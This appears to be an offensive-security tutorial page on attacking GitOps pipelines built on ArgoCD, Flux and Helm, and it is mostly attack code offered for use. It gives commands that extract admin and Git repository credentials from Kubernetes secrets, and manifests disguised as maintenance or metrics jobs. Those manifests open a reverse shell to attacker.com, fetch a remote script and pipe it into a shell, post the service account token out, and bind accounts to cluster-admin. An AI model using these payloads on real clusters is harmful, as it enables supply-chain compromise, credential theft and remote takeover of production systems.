πŸ”₯ Advanced

GitOps & ArgoCD Attacks

GitOps makes Git the source of truth for infrastructure. Compromise the Git repo, and ArgoCD/Flux will automatically deploy your malicious changes to production Kubernetes clusters.

Automatic Deployment = Automatic Compromise

GitOps tools continuously sync from Git. A malicious commit to the right branch gets deployed to production within minutes - no manual approval needed.

GitOps Attack Flow

πŸ’€
1. Compromise Git
Push malicious YAML
β†’
πŸ”„
2. ArgoCD Syncs
Detects changes
β†’
☸️
3. K8s Deployed
Backdoor in prod!

ArgoCD Exploitation

Default Credentials

bash
# ArgoCD default admin password is auto-generated
# But stored in a Kubernetes secret!

# If you have cluster access:
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d

# Default username: admin
# Access UI at: https://argocd.target.com

# Via CLI
argocd login argocd.target.com --username admin --password <password>

# Many orgs never rotate this password or disable the admin account

Application Poisoning

bash
# If you have ArgoCD access (UI or CLI):

# 1. Create malicious app pointing to your repo
argocd app create backdoor \
  --repo https://github.com/attacker/malicious-k8s \
  --path manifests \
  --dest-server https://kubernetes.default.svc \
  --dest-namespace default

# 2. Sync it
argocd app sync backdoor

# Your malicious manifests now deployed to cluster!

# Or modify existing app to point to different branch/path
argocd app set existing-app --path malicious-manifests

Repository Credential Theft

bash
# ArgoCD stores repo credentials as K8s secrets
# Type: argocd.argoproj.io/secret-type: repository

# List repository secrets
kubectl -n argocd get secrets -l argocd.argoproj.io/secret-type=repository

# Decode credentials
kubectl -n argocd get secret repo-XXXXX -o yaml
# Look for: password, sshPrivateKey, tlsClientCertData

# Decode base64
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.password}" | base64 -d
kubectl -n argocd get secret repo-XXXXX -o jsonpath="{.data.sshPrivateKey}" | base64 -d

# These creds let you push to the Git repos ArgoCD syncs from!

Manifest Injection

If you can push to the GitOps repo, inject malicious Kubernetes manifests:

bash
# backdoor-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: maintenance  # Innocent looking name
  namespace: default
spec:
  replicas: 1
  selector:
    matchLabels:
      app: maintenance
  template:
    spec:
      containers:
      - name: maintenance
        image: attacker/backdoor:latest  # Your image
        command: ["/bin/sh", "-c"]
        args:
          - |
            # Reverse shell
            bash -i >& /dev/tcp/attacker.com/4444 0>&1
        securityContext:
          privileged: true  # Full host access
        volumeMounts:
        - name: host
          mountPath: /host
      volumes:
      - name: host
        hostPath:
          path: /
      hostNetwork: true
      hostPID: true
bash
# backdoor-cronjob.yaml
apiVersion: batch/v1
kind: CronJob
metadata:
  name: log-cleanup  # Looks like maintenance task
spec:
  schedule: "*/5 * * * *"  # Every 5 minutes
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: cleanup
            image: alpine
            command: ["/bin/sh", "-c"]
            args:
              - |
                wget -q -O- https://attacker.com/beacon.sh | sh
          restartPolicy: OnFailure
          serviceAccountName: default

Flux CD Exploitation

bash
# Flux uses GitRepository and Kustomization CRDs

# Find Flux sources
kubectl get gitrepositories -A
kubectl get helmrepositories -A

# Check what's being deployed
kubectl get kustomizations -A
kubectl get helmreleases -A

# Flux stores Git credentials as secrets
kubectl -n flux-system get secrets

# Decode SSH key
kubectl -n flux-system get secret flux-system -o jsonpath="{.data.identity}" | base64 -d

# If you compromise the Git repo, Flux auto-deploys changes
# Push malicious Kustomization:

# kustomization.yaml
apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization
resources:
  - deployment.yaml
  - backdoor.yaml  # Your malicious manifest

Helm Chart Poisoning

bash
# GitOps often deploys Helm charts
# Poison the chart values or templates

# values.yaml modification - add sidecar container
extraContainers:
  - name: metrics  # Innocent name
    image: attacker/backdoor:latest
    command: ["/backdoor"]

# Or modify templates/deployment.yaml
# Add init container that runs first:
initContainers:
  - name: init
    image: alpine
    command: ["/bin/sh", "-c"]
    args:
      - |
        # Exfil secrets before main app starts
        cat /var/run/secrets/kubernetes.io/serviceaccount/token | \
          curl -X POST -d @- https://attacker.com/token

# Post-install hook (runs after chart install)
# templates/post-install.yaml
apiVersion: batch/v1
kind: Job
metadata:
  annotations:
    "helm.sh/hook": post-install
spec:
  template:
    spec:
      containers:
      - name: post-install
        image: alpine
        command: ["wget", "-q", "-O-", "https://attacker.com/beacon"]

RBAC Escalation via GitOps

bash
# Deploy ClusterRoleBinding giving your ServiceAccount cluster-admin
# clusterrolebinding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system-admin-binding  # Looks legitimate
subjects:
- kind: ServiceAccount
  name: default
  namespace: attacker-namespace
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

# Or create a new ServiceAccount with admin:
# serviceaccount.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: monitoring-admin
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: monitoring-admin-binding
subjects:
- kind: ServiceAccount
  name: monitoring-admin
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

Enumeration

bash
# Find ArgoCD
kubectl get namespaces | grep -i argo
kubectl get pods -n argocd
kubectl get svc -n argocd

# Find Flux
kubectl get namespaces | grep -i flux
kubectl get pods -n flux-system

# ArgoCD applications
kubectl get applications -n argocd
kubectl get applications -n argocd -o yaml  # See repo URLs

# Check what repos are configured
kubectl get secrets -n argocd -l argocd.argoproj.io/secret-type=repository

# ArgoCD RBAC - who can do what
kubectl get configmap argocd-rbac-cm -n argocd -o yaml

# Find GitOps-managed resources (ArgoCD labels)
kubectl get all -A -l app.kubernetes.io/instance

# Check for auto-sync (most dangerous)
kubectl get applications -n argocd -o jsonpath='{range .items[*]}{.metadata.name}: {.spec.syncPolicy.automated}{"
"}{end}'

Tools